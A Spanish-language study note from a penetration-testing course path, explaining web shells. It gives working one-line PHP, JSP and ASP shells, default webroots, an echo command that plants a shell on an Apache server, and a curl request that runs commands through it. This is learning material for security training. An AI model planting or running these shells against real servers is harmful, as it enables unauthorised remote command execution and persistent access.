Apuntes Ciberseguridad (Cibaism)
HTBGitHubLinkedInNotion (Writeups)
  • Welcome to My Digital Garden
  • About me
  • Hacking notes (Personal)
    • Tratamiento TTY
    • Hacking Web Tecniques
      • File Inclusion
    • Linux Privilage Escalation
    • Arreglar bloodhound
  • Hacking Notes (Learning Path)
    • (HTB) Penetration Tester
      • Getting Started
        • Common Terms
          • Tipos de Shell
          • Puertos importantes
          • OWASP Top 10
        • Service Scanning
          • Nmap
          • Attacking Network Services
            • Captura de banners
            • FTP
            • SMB
            • SNMP
        • Web Enumeration
        • Public exploits
          • Encontrar exploits públicos
          • Introducción a Metasploit
        • Types of Shells
          • Reverse Shell
          • Bind Shell
          • Web Shell
        • Privilage escalation
        • Transferring Files
      • Footprinting
        • Infrastructura Based Enumeration
          • Domain Information
          • Cloud Resources
          • Staff
        • Host Based Enumeration
          • FTP
          • SMB
          • NFS
          • DNS
          • SMTP
          • IMAP / POP3
          • SNMP
          • MySQL
          • MSSQL
          • Oracle TNS
          • IPMI
          • Protocolos de administración remota de Linux
          • Protocolos de administración remota de Windows
      • Introduction to Active Directory Enumeration & Attacks
        • Tools of the Trade
        • Initial enumeration
          • External Recon and Enumeration Principles
          • Initial Enumeration of the Domain
        • Sniffing out a Foothold
          • LLMNR/NBT-NS Poisoning - from Linux
          • LLMNR/NBT-NS Poisoning - from Windows
        • Sighting In, Hunting For A User
          • Password Spraying Overview
          • Enumerating & Retrieving Password Policies
          • Password Spraying - Making a Target User List
        • Spray Responsibly
          • Internal Password Spraying - from Linux
      • File Inclusion
        • File Disclousure
          • Local File Inclusion (LFI)
          • Basic Bypasses
          • PHP Filters
        • Remote Code Execution
          • PHP Wrappers
    • (CRTA) Red Team Analyst
      • (CRTA) Red Team Analyst - Lab
    • (eJPT) Junior Penetration Tester
      • Assessment Methodologies
        • Assessment Methodologies: Footprinting & Scanning
          • Windows Recon: Nmap Host Discovery
          • Scan the Server 1
          • Windows Recon: SMB Nmap Scripts
        • Assessment Methodologies: Enumeration
          • Importing Nmap Scan Results Into MSF
          • T1046 : Network Service Scanning
          • FTP Enumeration
          • Samba Recon: Basics
          • Apache Enumeration
          • MySQL Enumeration
          • SSH Login
          • Postfix Recon: Basics
        • Assessment Methodologies: Vulnerability Assessment
          • Windows: IIS Server DAVTest
          • Shellshock
          • Web App Vulnerability Scanning With WMAP
      • Host & Network Penetration Testing
        • Host & Network Penetration Testing: System/Host Based Attacks
          • Windows
            • Windows: IIS Server: WebDav Metasploit
            • Windows: SMB Server PSexec
            • Windows: Insecure RDP Service
            • WinRM: Exploitation with Metasploit
            • UAC Bypass: UACMe
            • Privilege Escalation: Impersonate
            • Unattended Installation
            • Windows: Meterpreter: Kiwi Extension
          • Linux
            • ProFTP Recon: Basics
            • Samba Recon: Dictionary Attack
            • Cron Jobs Gone Wild II
            • Exploiting Setuid Programs
            • Password Cracker: Linux
        • Host & Network Penetration Testing: Network-Based Attacks
          • NetBIOS Hacking
          • SNMP Analysis
          • DNS & SMB Relay Attack
        • Host & Network Penetration Testing: The Metasploit Framework (MSF)
          • Windows: Java Web Server
          • Windows: HTTP File Server
          • Vulnerable FTP Server
          • Vulnerable File Sharing Service
          • Vulnerable SSH server
          • Vulnerable SMTP Server
          • Meterpreter Basics
          • Upgrading Command Shells To Meterpreter Shells
          • Windows Post Exploitation Modules
          • UAC Bypass: Memory Injection (Metasploit)
          • Exploiting SMB With PsExec
          • Windows: Enabling Remote Desktop
          • Clearing Windows Event Logs
          • Pivoting
  • Blue team notes
    • Digital Forensics
      • Malware Analysis with VirusTotal
      • Wireshark
    • (Falcon) CrowdStrike
      • FALCON 104: Getting Started with the Endpoint Security Module
      • FALCON 106: Customizing Dashboards in Falcon
      • FALCON 180: Falcon Forensics Fundamentals
  • Programming
    • Powershell
Powered by GitBook
On this page
  • Crear una webshell:
  • PHP:
  • JSP:
  • ASP:
  • Subir una webshell:
  • Acceder a la webshell
  1. Hacking Notes (Learning Path)
  2. (HTB) Penetration Tester
  3. Getting Started
  4. Types of Shells

Web Shell

Crear una webshell:

En primer lugar, necesitamos escribir nuestro web shell que procesará nuestro comando mediante una solicitud por GET, lo ejecutará e imprimirá su salida. Un script de web shell suele ser de una sola línea, muy corto y fácil de memorizar. A continuación, se presentan algunos scripts de web shell cortos comunes para lenguajes web comunes:

PHP:

<?php 
    system($_REQUEST["cmd"]); 
?>

JSP:

<% 
    Runtime.getRuntime().exec(request.getParameter("cmd")); 
%>

ASP:

<% eval request("cmd") %>

Subir una webshell:

Una vez que tengamos nuestro shell web, debemos colocar nuestro script en el directorio web del host remoto (webroot) para ejecutarlo a través del navegador web. Esto podría deberse a una vulnerabilidad en la función de carga, que nos permitiría escribir uno de nuestros shells en un archivo (es decir shell.php, subirlo) y luego acceder al archivo subido para ejecutar comandos.

Sin embargo, si solo disponemos de ejecución remota de comandos mediante un exploit, podemos escribir nuestro shell directamente en la raíz web para acceder a ella a través de la web. Por lo tanto, el primer paso es identificar la raíz web. A continuación, se muestran las raíces web predeterminadas para servidores web comunes:

Servidor web

Webroot predeterminado

Apache

/var/www/html/

Nginx

/usr/local/nginx/html/

IIS

c:\inetpub\wwwroot\

XAMPP

C:\xampp\htdocs\

Podemos revisar estos directorios para ver qué directorio raíz web se está utilizando y luego usar echopara escribir nuestra webshell Por ejemplo, si atacamos un host Linux con Apache, podemos escribir un PHPshell con el siguiente comando:

echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php

Acceder a la webshell

Una vez que escribimos nuestro shell web, podemos acceder a él mediante un navegador o usando crl. Podemos visitar la página shell.php del sitio web comprometido y usar ?cmd=idpara ejecutar el idcomando:

curl http://SERVER_IP:PORT/shell.php?cmd=id

Como podemos ver, podemos seguir modificando el comando para obtener su salida. Una gran ventaja de un shell web es que evita cualquier restricción de firewall, ya que no abre una nueva conexión en un puerto, sino que se ejecuta en el puerto web 80o 443en el puerto que usa la aplicación web. Otra gran ventaja es que, si se reinicia el host comprometido, el shell web seguirá funcionando y podremos acceder a él y ejecutar comandos sin volver a explotar el host remoto.

Por otro lado, una shell web no es tan interactiva como las shells inversas y enlazadas, ya que debemos solicitar constantemente una URL diferente para ejecutar nuestros comandos. Aun así, en casos extremos, es posible programar un Pythonscript para automatizar este proceso y obtener una shell web semiinteractiva directamente en nuestra terminal.

PreviousBind ShellNextPrivilage escalation

Last updated 2 months ago